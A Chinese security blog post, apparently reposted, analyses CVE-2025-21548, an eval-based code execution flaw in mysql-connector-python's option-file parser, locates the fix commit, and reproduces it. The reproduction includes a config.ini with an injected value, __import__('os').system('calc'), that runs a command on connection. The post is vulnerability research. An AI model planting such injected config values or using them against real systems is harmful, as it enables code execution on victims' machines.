CVE-2025-21548(mysql客户端RCE)

admin 2025年3月31日21:07:27评论26 views字数 1242阅读4分8秒阅读模式

一、前言

中文搜这个漏洞,得出来得结果居然是Oracle MySQL Server 漏洞,但去官网上看通告,发现是mysql的python客户端漏洞

https://www.oracle.com/security-alerts/cpujan2025.html

CVE-2025-21548(mysql客户端RCE)

不像java大家只用官方的mysql-connector-java一样,python中更常用的可能还是PyMySQL。

https://github.com/PyMySQL/

这次出漏洞的客户端是官方的mysql-connector-python,<=9.1.0。 

https://github.com/mysql/mysql-connector-python

虽然CVE上的描述比较多也比较宽泛,但官网上没有任何只言片语。

https://cve.mitre.org/cgi-bin/cvename.cgi?name=2025-21548

此漏洞易于被利用,高权限攻击者可以通过多种协议通过网络访问 MySQL Connectors。成功的攻击需要除攻击者以外的其他人的交互。此漏洞的成功攻击可能导致未经授权地创建、删除或修改对关键数据或所有 MySQL Connectors 可访问数据的访问权限,以及未经授权读取部分 MySQL Connectors 可访问数据的权限,并可能导致 MySQL Connectors 挂起或频繁崩溃

二、diff

这种情况只能去diff了,很容易发现。

CVE-2025-21548(mysql客户端RCE)
CVE-2025-21548(mysql客户端RCE)

据此找到commit

https://github.com/mysql/mysql-connector-python/commit/dd9ded0dec35dbba773487c548c336cf742830ab

确定sink点在optionfiles.py,解析配置文件时直接使用了eval,修复方案为literal_eval。

CVE-2025-21548(mysql客户端RCE)

三、复现

手动测试一下。

python3 -m pip install --upgrade mysql-connector-python==8.0.33
import mysql.connectoropt_file = 'config.ini'connection = mysql.connector.connect(    read_default_file=opt_file,    option_groups=["incorrect_config"])
[incorrect_config]user=rootpassword=mypassdatabase=cpydataport=int(3306)allow_local_infile=__import__('os').system('calc')
CVE-2025-21548(mysql客户端RCE)

非常简单易懂的漏洞。不过看起来跟漏洞描述对不上啊,这是怎么回事?搜mysql-connector-python的历史CVE,大部分都是这种类似的非常宽泛的描述。猜测是一种保护限制的烟雾弹?

CVE-2025-21548(mysql客户端RCE)
CVE-2025-21548(mysql客户端RCE)

原文始发于微信公众号(珂技知识分享):CVE-2025-21548(mysql客户端RCE)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月31日21:07:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2025-21548(mysql客户端RCE)http://cn-sec.com/archives/3903022.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息